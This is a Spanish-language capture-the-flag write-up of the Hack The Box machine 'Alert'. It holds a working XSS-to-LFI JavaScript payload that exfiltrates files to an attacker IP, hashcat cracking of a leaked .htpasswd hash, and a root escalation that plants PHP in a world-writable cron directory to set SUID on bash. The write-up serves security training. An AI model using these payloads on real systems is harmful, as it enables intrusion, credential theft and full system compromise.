Enumeración
Iniciamos la fase de reconocimiento comprobando la conectividad mediante ping, donde el TTL=63 nos confirmó que nos enfrentábamos a una máquina Linux. Procedimos con un escaneo de puertos agresivo utilizando Nmap, el cual reveló únicamente dos puertos abiertos:
- 22/tcp: OpenSSH 8.2p1
- 80/tcp: Apache httpd 2.4.41
Al examinar el puerto 80, Nmap indicó una redirección hacia http://alert.htb/index.php?page=alert. Tras añadir el dominio alert.htb a nuestro archivo /etc/hosts local, realizamos fuzzing de directorios y subdominios utilizando Gobuster. Esta fase de enumeración fue clave, ya que descubrimos el endpoint /messages.php y un subdominio oculto llamado statistics.alert.htb, el cual devolvía un código HTTP 401: No Autorizado, indicando que estaba protegido por autenticación básica.
# [-c 1] Enviar solo 1 paquete ICMP para validar la conexión y el TTL (Time To Live)
┌──(jquirozz㉿jquirozz.com)-[~/HTB/alert]
└─$ ping -c 1 10.129.231.188
PING 10.129.231.188 (10.129.231.188) 56(84) bytes of data.
64 bytes from 10.129.231.188: icmp_seq=1 ttl=63 time=109 ms
# Añadir el dominio principal al archivo hosts local
┌──(jquirozz㉿jquirozz.com)-[~/HTB/alert]
└─$ echo "10.129.231.188 alert.htb" | sudo tee -a /etc/hosts
10.129.231.188 alert.htb
# [-p-] Escanear todos los puertos (1-65535)
# [-sS] Stealth SYN Scan
# [--min-rate=5000] Tasa mínima de paquetes para agilizar el escaneo
# [-oG] Guardar resultados en formato Grepable
┌──(jquirozz㉿jquirozz.com)-[~/HTB/alert]
└─$ sudo nmap -p- -n -sS -Pn --min-rate=5000 10.129.231.188 -oG allPorts
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# [-sCV] Ejecutar scripts de reconocimiento por defecto y detectar versiones
┌──(jquirozz㉿jquirozz.com)-[~/HTB/alert]
└─$ sudo nmap -p22,80 -sCV --min-rate=5000 10.129.231.188 -oN targeted
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
| 256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_ 256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-title: Alert - Markdown Viewer
|_Requested resource was index.php?page=alert
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
┌──(jquirozz㉿jquirozz.com)-[~/HTB/alert]
└─$ whatweb http://alert.htb
http://alert.htb [302 Found] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.129.231.188], RedirectLocation[index.php?page=alert], Title[Alert - Markdown Viewer]
http://alert.htb/index.php?page=alert [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.129.231.188], PHP, Title[Alert - Markdown Viewer]
# [dir] Modo de enumeración de directorios
# [-u] URL objetivo
# [-w] Diccionario a utilizar
# [-x] Buscar extensiones específicas (php)
┌──(jquirozz㉿jquirozz.com)-[~/HTB/alert]
└─$ gobuster dir -u http://alert.htb -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php
===============================================================
/index.php (Status: 302) [Size: 660] [--> index.php?page=alert]
/contact.php (Status: 200) [Size: 24]
/uploads (Status: 301) [Size: 308] [--> http://alert.htb/uploads/]
/css (Status: 301) [Size: 304] [--> http://alert.htb/css/]
/messages (Status: 301) [Size: 309] [--> http://alert.htb/messages/]
/messages.php (Status: 200) [Size: 1]
===============================================================
# [vhost] Modo de enumeración de Virtual Hosts (Subdominios virtuales)
# [--append-domain] Añadir el dominio base al wordlist
┌──(jquirozz㉿jquirozz.com)-[~/HTB/alert]
└─$ gobuster vhost -u http://alert.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --append-domain -t 200 -r
===============================================================
statistics.alert.htb Status: 401 [Size: 467]
===============================================================
# Añadimos el nuevo subdominio al /etc/hosts
┌──(kali㉿kali)-[~/HTB/Alert]
└─$ echo "10.129.231.188 statistics.alert.htb" | sudo tee -a /etc/hosts
10.129.231.188 statistics.alert.htb
Explotación
Al analizar la aplicación web “Markdown Viewer”, identificamos una vulnerabilidad de Cross-Site Scripting que era procesada por un bot automatizado en el backend. Simultáneamente, el archivo messages.php presentaba una vulnerabilidad de Local File Inclusion en el parámetro file=.
Aprovechamos esta situación encadenando ambas vulnerabilidades: inyectamos un payload en JavaScript a través del XSS que obligaba al bot a explotar el LFI internamente y exfiltrar el contenido de los archivos locales hacia nuestro servidor atacante en formato Base64.
Con esta técnica de exfiltración, logramos leer:
- El archivo
/etc/passwd, descubriendo al usuario albert. - La configuración de Apache
/etc/apache2/sites-available/000-default.conf, revelando la ruta del archivo .htpasswd que protegía el subdominio de estadísticas. - El archivo
/var/www/statistics.alert.htb/.htpasswd, extrayendo el hash de la contraseña del usuario albert.
// Payload inyectado vía XSS para leer archivos vía LFI y exfiltrarlos
const req = new XMLHttpRequest()
// Se modifica la ruta según el archivo deseado (ej: ../../../../../etc/passwd)
req.open(
'GET',
'[http://alert.htb/messages.php?file=../../../../../var/www/statistics.alert.htb/.htpasswd](http://alert.htb/messages.php?file=../../../../../var/www/statistics.alert.htb/.htpasswd)',
false
)
req.send()
const res64 = btoa(req.responseText) // Codificar la respuesta en Base64
const exf = new XMLHttpRequest()
// Enviar el contenido codificado a nuestra máquina atacante
exf.open('GET', `http://10.10.14.108/?res64=${res64}`, false)
exf.send()
Guardamos el hash extraído $apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/ en un archivo local e iniciamos un ataque de fuerza bruta offline utilizando Hashcat. Una vez obtenida la contraseña en texto claro manchesterunited, procedimos a autenticarnos por SSH para conseguir nuestro acceso inicial y capturar la primera flag.
# Guardar el hash recuperado
┌──(kali㉿kali)-[~/HTB/Alert]
└─$ echo -n 'albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/' > content/userHash
# Ejecutar Hashcat para crackear el hash MD5(APR)
# [-m 1600] Es el modo específico para hashes de Apache (md5apr1)
┌──(kali㉿kali)-[~/HTB/Alert]
└─$ hashcat content/userHash /usr/share/wordlists/rockyou.txt --username
Hash.Mode........: 1600 (Apache $apr1$ MD5, md5apr1, MD5 (APR))
$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/:manchesterunited
# Iniciar sesión vía SSH con las credenciales comprometidas
┌──(kali㉿kali)-[~/HTB/Alert]
└─$ ssh albert@alert.htb
albert@alert.htb's password: manchesterunited
albert@alert:~$ cat user.txt
7f*****************************7d
Escalada de Privilegios
Durante la enumeración post-explotación con el usuario albert, ejecutamos el comando id y notamos que pertenecía a un grupo secundario poco común llamado management. Al buscar archivos que pertenecieran a este grupo en el sistema, encontramos el directorio /opt/website-monitor/.
Al explorar esta ruta, descubrimos un directorio /opt/website-monitor/monitors que poseía permisos globales de escritura y ejecución drwxrwxrwx. Al inspeccionar el entorno, podemos inferir que un cronjob ejecutado por root revisaba periódicamente este directorio y ejecutaba cualquier archivo PHP colocado en su interior (una táctica común en scripts de monitoreo).
Para explotar esta mala configuración, creamos un script malicioso en PHP que, al ser ejecutado por el cronjob, le asignara el SUID bit al binario /bin/bash. Tras esperar un minuto, verificamos los permisos de bash, ejecutamos la consola conservando los privilegios de root y capturamos la flag final.
# Verificamos los grupos del usuario actual
albert@alert:~$ id
uid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)
# Buscar archivos en el sistema (-type f,d) que pertenezcan al grupo "management" y omitir errores
albert@alert:~$ find / -group management 2>/dev/null
/opt/website-monitor/config
/opt/website-monitor/config/configuration.php
# Navegamos al directorio del monitor y verificamos los permisos
albert@alert:~$ cd /opt/website-monitor
albert@alert:/opt/website-monitor$ ls -la
drwxrwxrwx 2 root root 4096 Jan 10 17:21 monitors
# Creamos un script PHP malicioso dentro del directorio de monitores
# Este comando le indica al sistema que asigne el bit SUID (u+s) al ejecutable de bash
albert@alert:/opt/website-monitor/monitors$ echo -n '<?php system("chmod u+s /bin/bash") ?>' > pwn.php
# Tras esperar a que el cronjob ejecute el archivo, iniciamos bash reteniendo privilegios
# [-p] Iniciar bash en modo "privilegiado", evitando que suelte los permisos SUID
albert@alert:/opt/website-monitor/monitors$ bash -p
bash-5.0# id
uid=1000(albert) gid=1000(albert) euid=0(root) groups=1000(albert),1001(management)
bash-5.0# cat /root/root.txt
4c*****************************b9